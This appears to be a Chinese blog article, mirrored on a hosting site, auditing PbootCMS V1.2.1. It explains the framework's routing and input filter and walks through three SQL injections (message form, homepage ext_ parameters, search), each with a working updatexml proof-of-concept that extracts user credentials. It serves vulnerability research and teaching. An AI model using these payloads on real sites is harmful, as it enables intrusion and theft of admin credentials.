溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

php中PbootCMS漏洞審計(jì)怎么理解

發(fā)布時(shí)間:2021-10-18 16:02:04 來源:億速云 閱讀:297 作者:柒染 欄目:網(wǎng)絡(luò)管理

這篇文章將為大家詳細(xì)講解有關(guān)php中PbootCMS漏洞審計(jì)怎么理解,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

PbootCMS漏洞審計(jì)

一、環(huán)境準(zhǔn)備

下載地址:https://gitee.com/hnaoyun/PbootCMS/releases/V1.2.1

解析域名:http://www.pboot.cms/

這個(gè)系統(tǒng)很方便默認(rèn)情況下,直接下載下來什么都不用做即可使用。(前提是開啟 php sqlite 擴(kuò)展)

我們將其改為 mysql 數(shù)據(jù)庫使用。

mysql 新建數(shù)據(jù)庫pbootcms,導(dǎo)入/PbootCMS/static/backup/sql文件夾里的 sql 文件。

php中PbootCMS漏洞審計(jì)怎么理解

php中PbootCMS漏洞審計(jì)怎么理解

成功導(dǎo)入,然后修改數(shù)據(jù)庫配置文件,\config\database.php

php中PbootCMS漏洞審計(jì)怎么理解

后臺admin.php默認(rèn)賬戶密碼

賬戶:admin

密碼:123456

二、熟悉MVC

目錄結(jié)構(gòu):

PbootCMS-V1.2.1
├─ apps         應(yīng)用程序
│  ├─ admin     后臺模塊
│  ├─ api       api模塊
│  ├─ common    公共模塊
│  ├─ home      前臺模塊
├─ config       配置文件
│  ├─ config.php    配置文件
│  ├─ database.php  數(shù)據(jù)庫配置文件
│  ├─ route.php     用戶自定義路由規(guī)則
├─ core         框架核心
│  ├─ function  框架公共函數(shù)庫
│  │  ├─ handle.php 助手函數(shù)庫1
│  │  ├─ helper.php 助手函數(shù)庫2
├─ template     html模板
├─ admin.php    管理端入口文件
├─ api.php      api入口文件
├─ index.php    前端入口文件

2.1 自定義路由

路由文件: PbootCMS\apps\common\route.php

php中PbootCMS漏洞審計(jì)怎么理解

例如: http://www.pboot.cms/index.php/about/1

因?yàn)樗倪@個(gè)文件在系統(tǒng)的自定義路由上所以上面的路由解析以后就是

路由:

'home/about' => 'home/about/index/scode',

對應(yīng)文件:PbootCMS/apps/home/controller/AboutController.php

方法:index

參數(shù):scode

那個(gè) home 是由 對應(yīng)的入口文件,例如文中的index.php中的URL_BLIND

php中PbootCMS漏洞審計(jì)怎么理解

我們自定義一個(gè)方法進(jìn)行訪問,

php中PbootCMS漏洞審計(jì)怎么理解

添加自定義路由:

php中PbootCMS漏洞審計(jì)怎么理解

成功訪問:

php中PbootCMS漏洞審計(jì)怎么理解

2.2 mvc動態(tài)路由

如果對于自定義路由沒有的定義的路由,就會按照普通 mvc 模式來訪問了。

比如:http://www.pboot.cms/index.php/Message/add

路勁文件:PbootCMS/apps/home/controller/MessageController.php

方法:add

我們在 自己在MessageController.php添加一個(gè)自定義方法來訪問,

public function test2()
    {
        echo "MessageController --> test2 方法";
    }

訪問:

http://www.pboot.cms/index.php/Message/test2

三、內(nèi)核分析

3.1 原生GET,POST,REQUEST

使用原生GET,POST,REQUEST變量是完全不過濾的

Message控制器中進(jìn)行測試,

public function test2()
    {
        //echo "MessageController --> test2 方法";
        var_dump($_GET);
        echo "<br/>";
        var_dump($_POST);
        echo "<br/>";
        var_dump($_REQUEST);
    }

可以看到?jīng)]有任何過濾,

php中PbootCMS漏洞審計(jì)怎么理解

所以使用原生變量獲取方法就很有可能產(chǎn)生漏洞。

3.2 系統(tǒng)獲取變量函數(shù)

路徑:PbootCMS/core/function/helper.php

方法:get,post,request

最后return filter($name, $condition);中一系列檢測,再最后return escape_string($data);進(jìn)行過濾:

// 獲取轉(zhuǎn)義數(shù)據(jù),支持字符串、數(shù)組、對象
function escape_string($string, $dropStr = true)
{
    if (! $string)
        return $string;
    if (is_array($string)) { // 數(shù)組處理
        foreach ($string as $key => $value) {
            $string[$key] = escape_string($value);
        }
    } elseif (is_object($string)) { // 對象處理
        foreach ($string as $key => $value) {
            $string->$key = escape_string($value);
        }
    } else { // 字符串處理
        if ($dropStr) {
            $string = preg_replace('/(0x7e)|(0x27)|(0x22)|(updatexml)|(extractvalue)|(name_const)|(concat)/i', '', $string);
        }
        $string = htmlspecialchars(trim($string), ENT_QUOTES, 'UTF-8');
        $string = addslashes($string);
    }
    return $string;
}

可以看得到所有傳過來的內(nèi)容都會先過一個(gè)正則匹配過濾

會將 0x7e,0x27,0x22,updatexml,extractvalue,name_const,concat 將其替換為''

再進(jìn)行防止 xss和sql注入的再次過濾。

但是在這里只進(jìn)行了數(shù)組 value的過濾$string[$key] = escape_string($value);, key 并沒有過濾。

preg_replace可以雙寫繞過。

測試:

public function test2()
    {
        //echo "MessageController --> test2 方法";
        var_dump(get(a));
        echo "<br/>";
        var_dump(post(b));
        echo "<br/>";
        var_dump(request(c));
    }

效果如圖

php中PbootCMS漏洞審計(jì)怎么理解

php中PbootCMS漏洞審計(jì)怎么理解

3.3 數(shù)據(jù)庫內(nèi)核

測試查詢數(shù)據(jù),

新建一個(gè)數(shù)據(jù)表,

php中PbootCMS漏洞審計(jì)怎么理解

MeaasgeController.php中,

public function test2()
    {
        //echo "MessageController --> test2 方法";
        $id = get("id");
        $result = $this->model->getUser($id);
        var_dump($result);
    }

PbootCMS/apps/home/model/ParserModel.php

// 查詢測試用戶
    public function getUser($id)
    {
        return parent::table("ay_testUser")->where("id=".$id)->select();
    }

訪問http://www.pboot.cms/index.php/Message/test2?id=1,即可查詢,

php中PbootCMS漏洞審計(jì)怎么理解

很明顯,有sql注入:

php中PbootCMS漏洞審計(jì)怎么理解

測試插入數(shù)據(jù),

MessageController.php:

public function test2()
    {
        // 增加用戶
        $data["username"] = post("username");
        $data["password"] = post("password");
        if($data["username"]&&$data["password"])
            $result = $this->model->addUser($data);
        var_dump($result);
    }

PbootCMS/apps/home/model/ParserModel.php

// 插入用戶數(shù)據(jù)
    public function addUser($data)
    {
        return parent::table("ay_testUser")->insert($data);
    }

php中PbootCMS漏洞審計(jì)怎么理解

成功插入。

測試更新數(shù)據(jù)

MessageController.php:

public function test2()
    {
        // 更新用戶密碼
        $data = [
            "username"=>post("username"),
            "password"=>post("password")
        ];
        $result = $this->model->updateUser($data);
        var_dump($result);

    }

PbootCMS/apps/home/model/ParserModel.php

// 更新用戶數(shù)據(jù)
    public function updateUser($data)
    {
        return parent::table("ay_testUser")->where("username='".$data["username"]."'")->update(array("password"=>$data["password"]));
    }

測試成功。

php中PbootCMS漏洞審計(jì)怎么理解

測試刪除數(shù)據(jù)

MessageController.php:

public function test2()
    {
        // 刪除數(shù)據(jù)
        $id = get("id");
        $result = $this->model->deleteUser($id);
        var_dump($result);
    }

PbootCMS/apps/home/model/ParserModel.php

// 刪除數(shù)據(jù)
    public function deleteUser($id)
    {
        return parent::table("ay_testUser")->where("id='$id'")->delete();
    }

php中PbootCMS漏洞審計(jì)怎么理解

測試刪除成功。

3.4 調(diào)試數(shù)據(jù)庫內(nèi)核

where 方法得到拼接 where 條件,無過濾

php中PbootCMS漏洞審計(jì)怎么理解

select 方法最終得到

php中PbootCMS漏洞審計(jì)怎么理解

整個(gè)db 類的底層都是類似的字符串拼接

四、留言處 insert sql注入

由于此 cms 只會對數(shù)組鍵值進(jìn)行過濾而不會對鍵進(jìn)行過濾,恰巧這里瀏覽處可以接收數(shù)組。

poc:

# POST
contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a] = 111&mobile=111&content=111&checkcode=111

我們使用瀏覽器+phpstorm調(diào)試來探明注入漏洞的產(chǎn)生。(為方便測試,已修改源代碼將驗(yàn)證碼功能注釋)

首先讀取了數(shù)據(jù)庫留言表字段,返回一個(gè)三維數(shù)組,數(shù)組table_name 為數(shù)據(jù)表名,name分別即為contacts,mobile,content,這里用處即為作為 post接收數(shù)據(jù)的 鍵

php中PbootCMS漏洞審計(jì)怎么理解

這里即起到了作用,遍歷二維數(shù)組的分別name值接收 post 數(shù)據(jù)。

$field_data = post($value->name);

php中PbootCMS漏洞審計(jì)怎么理解
將數(shù)據(jù)存儲到 data 數(shù)組中,由于接受的 contacts 為數(shù)組,所以 data 也就變成了多維數(shù)組。

php中PbootCMS漏洞審計(jì)怎么理解

接下來,我們對addMessage操作進(jìn)行調(diào)試探索,按 F7

if ($this->model->addMessage($data))

到了:

// 新增留言
    public function addMessage($data)
    {
        return parent::table('ay_message')->autoTime()->insert($data);
    }

繼續(xù) F7 ,這里主要是insert函數(shù)比較關(guān)鍵。

/**
     * 數(shù)據(jù)插入模型
     *
     * @param array $data
     *            可以為一維或二維數(shù)組,
     *            一維數(shù)組:array('username'=>"xsh",'sex'=>'男'),
     *            二維數(shù)組:array(
     *            array('username'=>"xsh",'sex'=>'男'),
     *            array('username'=>"gmx",'sex'=>'女')
     *            )
     * @param boolean $batch
     *            是否啟用批量一次插入功能,默認(rèn)true
     * @return boolean|boolean|array
     */
final public function insert(array $data = array(), $batch = true)
    {
        // 未傳遞數(shù)據(jù)時(shí),使用data函數(shù)插入數(shù)據(jù)
        if (! $data && isset($this->sql['data'])) {
            return $this->insert($this->sql['data']);
        }
        if (is_array($data)) {

            if (! $data)
                return;
            if (count($data) == count($data, 1)) { // 單條數(shù)據(jù)
                $keys = '';
                $values = '';
                foreach ($data as $key => $value) {
                    if (! is_numeric($key)) {
                        $keys .= "`" . $key . "`,";
                        $values .= "'" . $value . "',";
                    }
                }
                if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
                    $keys .= "`" . $this->createTimeField . "`,`" . $this->updateTimeField . "`,";
                    if ($this->intTimeFormat) {
                        $values .= "'" . time() . "','" . time() . "',";
                    } else {
                        $values .= "'" . date('Y-m-d H:i:s') . "','" . date('Y-m-d H:i:s') . "',";
                    }
                }
                if ($keys) { // 如果插入數(shù)據(jù)關(guān)聯(lián)字段,則字段以關(guān)聯(lián)數(shù)據(jù)為準(zhǔn),否則以設(shè)置字段為準(zhǔn)
                    $this->sql['field'] = '(' . substr($keys, 0, - 1) . ')';
                } elseif (isset($this->sql['field']) && $this->sql['field']) {
                    $this->sql['field'] = "({$this->sql['field']})";
                }
                $this->sql['value'] = "(" . substr($values, 0, - 1) . ")";
                $sql = $this->buildSql($this->insertSql);
            } else { // 多條數(shù)據(jù)
                if ($batch) { // 批量一次性插入
                    $key_string = '';
                    $value_string = '';
                    $flag = false;
                    foreach ($data as $keys => $value) {
                        if (! $flag) {
                            $value_string .= ' SELECT ';
                        } else {
                            $value_string .= ' UNION All SELECT ';
                        }
                        foreach ($value as $key2 => $value2) {
                            // 字段獲取只執(zhí)行一次
                            if (! $flag && ! is_numeric($key2)) {
                                $key_string .= "`" . $key2 . "`,";
                            }
                            $value_string .= "'" . $value2 . "',";
                        }
                        $flag = true;
                        if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
                            if ($this->intTimeFormat) {
                                $value_string .= "'" . time() . "','" . time() . "',";
                            } else {
                                $value_string .= "'" . date('Y-m-d H:i:s') . "','" . date('Y-m-d H:i:s') . "',";
                            }
                        }
                        $value_string = substr($value_string, 0, - 1);
                    }
                    if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
                        $key_string .= "`" . $this->createTimeField . "`,`" . $this->updateTimeField . "`,";
                    }
                    if ($key_string) { // 如果插入數(shù)據(jù)關(guān)聯(lián)字段,則字段以關(guān)聯(lián)數(shù)據(jù)為準(zhǔn),否則以設(shè)置字段為準(zhǔn)
                        $this->sql['field'] = '(' . substr($key_string, 0, - 1) . ')';
                    } elseif (isset($this->sql['field']) && $this->sql['field']) {
                        $this->sql['field'] = "({$this->sql['field']})";
                    }
                    $this->sql['value'] = $value_string;
                    $sql = $this->buildSql($this->insertMultSql);
                    // 判斷SQL語句是否超過數(shù)據(jù)庫設(shè)置
                    if (get_db_type() == 'mysql') {
                        $max_allowed_packet = $this->getDb()->one('SELECT @@global.max_allowed_packet', 2);
                    } else {
                        $max_allowed_packet = 1 * 1024 * 1024; // 其他類型數(shù)據(jù)庫按照1M限制
                    }
                    if (strlen($sql) > $max_allowed_packet) { // 如果要插入的數(shù)據(jù)過大,則轉(zhuǎn)換為一條條插入
                        return $this->insert($data, false);
                    }
                } else { // 批量一條條插入
                    foreach ($data as $keys => $value) {
                        $result = $this->insert($value);
                    }
                    return $result;
                }
            }
        } elseif ($this->sql['from']) {
            if (isset($this->sql['field']) && $this->sql['field']) { // 表指定字段復(fù)制
                $this->sql['field'] = "({$this->sql['field']})";
            }
            $sql = $this->buildSql($this->insertFromSql);
        } else {
            return;
        }
        return $this->getDb()->amd($sql);
    }

判斷 data 為空即返回

php中PbootCMS漏洞審計(jì)怎么理解

這里count用于判斷是否 data 為多維數(shù)組,如果不是即相等,否則不相等。

if (count($data) == count($data, 1))

所以,轉(zhuǎn)到 else ,$key_string$value_string用于拼接。

由于data['contacts']為數(shù)組,所以再次進(jìn)行 foreach ,進(jìn)行分別拼接鍵和鍵值。

php中PbootCMS漏洞審計(jì)怎么理解

其余操作一直為 拼接$value_string,接下來跳出了 foreach,

然后拼接$key_string,之后出現(xiàn)sql數(shù)組,進(jìn)入buildSql函數(shù),構(gòu)建 Sql 語句,獲得

$sql = "INSERT INTO ay_message (`content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a`,`create_time`,`update_time`)  SELECT '111','2021-02-21 13:38:58','2021-02-21 13:38:58' UNION All SELECT '2021-02-21 13:39:46','2021-02-21 13:39:46' UNION All SELECT '2021-02-21 13:39:51','2021-02-21 13:39:51' UNION All SELECT '2021-02-21 13:39:53','2021-02-21 13:39:53' UNION All SELECT '2021-02-21 13:40:03','2021-02-21 13:40:03' UNION All SELECT '2021-02-21 13:40:04','2021-02-21 13:40:04' UNION All SELECT '2021-02-21 13:40:13','2021-02-21 13:40:13' UNION All SELECT '2021-02-21 13:40:17','2021-02-21 13:40:17' UNION All SELECT '2021-02-21 13:40:20','2021-02-21 13:40:20' UNION All SELECT '2021-02-21 13:40:22','2021-02-21 13:40:22' UNION All SELECT '2021-02-21 13:40:25','2021-02-21 13:40:25'"

php中PbootCMS漏洞審計(jì)怎么理解

即發(fā)生了注入,拼接了惡意sql語句

INSERT INTO ay_message (`content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a`,`create_time`,`update_time`)

php中PbootCMS漏洞審計(jì)怎么理解

五、前臺首頁sql注入

poc:

http://www.pboot.cms/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=12

PbootCMS/apps/home/controller/IndexController.php, index 方法:

// parserAfter -> parserSpecifyListLabel
    public function index()
    {
        $content = parent::parser('index.html'); // 框架標(biāo)簽解析
        $content = $this->parser->parserBefore($content); // CMS公共標(biāo)簽前置解析
        $content = $this->parser->parserPositionLabel($content, - 1, '首頁', SITE_DIR . '/'); // CMS當(dāng)前位置標(biāo)簽解析
        $content = $this->parser->parserSpecialPageSortLabel($content, 0, '', SITE_DIR . '/'); // 解析分類標(biāo)簽
        $content = $this->parser->parserAfter($content); // CMS公共標(biāo)簽后置解析
        $this->cache($content, true);
    }

跟進(jìn)

$content = $this->parser->parserAfter($content); 這個(gè)方法

PbootCMS/apps/home/controller/ParserController.php,parserAfter()

// 解析全局后置公共標(biāo)簽
    public function parserAfter($content)
    {
    	...
        $content = $this->parserSpecifyListLabel($content); // 指定列表
        return $content;
    }
// 解析指定分類列表標(biāo)簽
public function parserSpecifyListLabel($content)
{
  ...
  // 數(shù)據(jù)篩選 騷操作注入
  $where2 = array();
  foreach ($_GET as $key => $value) {
    if (substr($key, 0, 4) == 'ext_') { // 其他字段不加入
      $where2[$key] = get($key);
    }
  }
  ...
  // 讀取數(shù)據(jù)
  if ($page) {
  	$data = $this->model->getList($scode, $num, $order, $where1, $where2);
  } else {
  	$data = $this->model->getSpecifyList($scode, $num, $order, $where1, $where2);
  }
}

這里讀取數(shù)據(jù)$this->model->getSpecifyList

這里接收了外部了外部所有的get參數(shù)然后判斷了開頭的前4個(gè)字符是否 ext_ 開頭,如果符合就直接拼接進(jìn)入$where2這個(gè)數(shù)組 然后帶入數(shù)據(jù)庫進(jìn)行g(shù)etList方法與getSpecifyList查詢,而底層是字符串拼接,過濾了value沒有過濾key所以有注入

最終 sql 語句

SELECT  a.*,b.name as sortname,b.filename as sortfilename,c.name as subsortname,c.filename as subfilename,d.type,e.* FROM ay_content a  LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.acode='cn' AND a.status=1 AND d.type=2) AND(ext_price=1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));# like '%12%' )   ORDER BY date DESC,sorting ASC,id DESC LIMIT 4

六、搜索框sql注入

poc:

http://www.pboot.cms/index.php/Search/index?keyword=aaaa&updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123

PbootCMS/apps/home/controller/SearchController.php中 index 方法

public function index()
    {
        $content = parent::parser('search.html'); // 框架標(biāo)簽解析
        $content = $this->parser->parserBefore($content); // CMS公共標(biāo)簽前置解析
        $content = $this->parser->parserPositionLabel($content, 0, '搜索', url('/home/Search/index')); // CMS當(dāng)前位置標(biāo)簽解析
        $content = $this->parser->parserSpecialPageSortLabel($content, 0, '搜索結(jié)果', url('/home/Search/index')); // 解析分類標(biāo)簽
        $content = $this->parser->parserSearchLabel($content); // 搜索結(jié)果標(biāo)簽
        $content = $this->parser->parserAfter($content); // CMS公共標(biāo)簽后置解析
        $this->cache($content, true);
    }

跟進(jìn)

$this->parser->parserSearchLabel

PbootCMS/apps/home/controller/ParserController.php中 parserSearchLabel 方法,

這里將 惡意語句帶入,

php中PbootCMS漏洞審計(jì)怎么理解

接下來就是讀取數(shù)據(jù)這里

// 讀取數(shù)據(jù)
if (! $data = $this->model->getList($scode, $num, $order, $where1, $where2, $fuzzy)) {
          $content = str_replace($matches[0][$i], '', $content);
          continue;
}

這里接收了外部了外部所有的get參數(shù)然后就直接拼接進(jìn)入$where2這個(gè)數(shù)組 然后帶入數(shù)據(jù)庫進(jìn)行g(shù)etList方法查詢,而底層是字符串拼接,過濾了value沒有過濾key所以有注入.

關(guān)于php中PbootCMS漏洞審計(jì)怎么理解就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI